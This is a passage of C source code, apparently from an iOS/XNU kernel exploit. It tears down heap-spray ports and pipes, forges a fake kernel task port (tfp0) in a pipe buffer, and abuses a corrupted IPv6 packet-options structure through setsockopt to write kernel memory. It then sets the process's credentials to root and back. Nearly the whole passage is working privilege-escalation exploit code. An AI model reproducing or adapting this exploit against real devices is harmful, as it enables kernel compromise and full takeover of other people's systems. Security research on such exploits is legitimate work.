for(int i=0; i<num_kalloc_512s; i++)
mach_port_destroy(mach_task_self(), kalloc_512s[i]);
for(int i=0; i<numcolliders; i++){
if(tfp0 == MACH_PORT_NULL || colliderports[i] != tfp0)
mach_port_destroy(mach_task_self(), colliderports[i]);
if(tfp0pipe == NULL || colliderpipes[i] != tfp0pipe){
close(*colliderpipes[i]);
close(*(colliderpipes[i] + 1));
free(colliderpipes[i]);
}
}
if(tfp0 == MACH_PORT_NULL){
printf("Couldn't find a good pipe buffer/port pointer pair\n");
return 1;
}
struct ipc_space myipcspace = {0};
EarlyKernelReadN(myipcspace_kaddr, &myipcspace, sizeof(myipcspace));
uint32_t tfp0_portidx = MACH_PORT_INDEX(tfp0);
tfp0_portidx *= sizeof(struct ipc_entry);
uint64_t baseaddr = myipcspace.is_table + tfp0_portidx;
kport_t ktfp0 = {0};
ktfp0.ip_bits = io_makebits(1, IOT_PORT, IKOT_TASK);
ktfp0.ip_references = 100;
ktfp0.ip_lock.data = 0;
ktfp0.ip_lock.type = 0x11;
ktfp0.ip_receiver = kern_ipc_space_kaddr;
ktfp0.ip_kobject = faketask_kaddr;
ktfp0.ip_srights = 99;
/* get rid of the stuff we sent to the pipe to create the initial pipe buffer... */
char junkbuf[colliderkzone - 1];
read(tfp0pipe[0], junkbuf, sizeof(junkbuf));
/* ...and replace it with our fake tfp0 */
write(tfp0pipe[1], &ktfp0, sizeof(ktfp0));
/* we're only using 18 bytes here, the extra two bytes is to make
* EarlyKernelReadN happy (20 is divisible by 4)
*/
char obliterated[20];
EarlyKernelReadN((baseaddr - sizeof(struct in6_pktinfo)) + 2, obliterated,
sizeof(obliterated));
struct ip6_pktopts old_pktopts = {0};
read(evil_pipe[0], &old_pktopts, sizeof(old_pktopts));
struct ip6_pktopts new_pktopts = {0};
new_pktopts.ip6po_pktinfo = (baseaddr - sizeof(struct in6_pktinfo)) + 2;
write(evil_pipe[1], &new_pktopts, sizeof(new_pktopts));
struct in6_pktinfo pktinfo = {0};
/* must be non-zero to prevent kfree on new_pktopts.ip6po_pktinfo */
pktinfo.ipi6_ifindex = 1;
setsockopt(evil_socket, IPPROTO_IPV6, IPV6_PKTINFO, &pktinfo, sizeof(pktinfo));
/* tfp0 is now a real, (but fake) kernel task port! */
KernelWrite(tfp0, (baseaddr - sizeof(struct in6_pktinfo)) + 2, obliterated,
sizeof(obliterated) - 2);
close(evil_socket);
close(*evil_pipe);
close(*(evil_pipe + 1));
evil_socket = -1;
evil_pipe = NULL;
printf("UID: %d\n", getuid());
uid_t orig_uid, orig_ruid, orig_svuid;
gid_t orig_rgid, orig_svgid;
if((kret = root(tfp0, myproc_ucred_kaddr, &orig_uid, &orig_ruid, &orig_svuid,
&orig_rgid, &orig_svgid))){
printf("Couldn't get root: %s\n", mach_error_string(kret));
}
printf("UID: %d\n", getuid());
if((kret = unroot(tfp0, myproc_ucred_kaddr, orig_uid, orig_ruid, orig_svuid,
orig_rgid, orig_svgid))){
printf("Couldn't unroot: %s\n", mach_error_string(kret));
}
*tfp0out = tfp0;
return 0;
}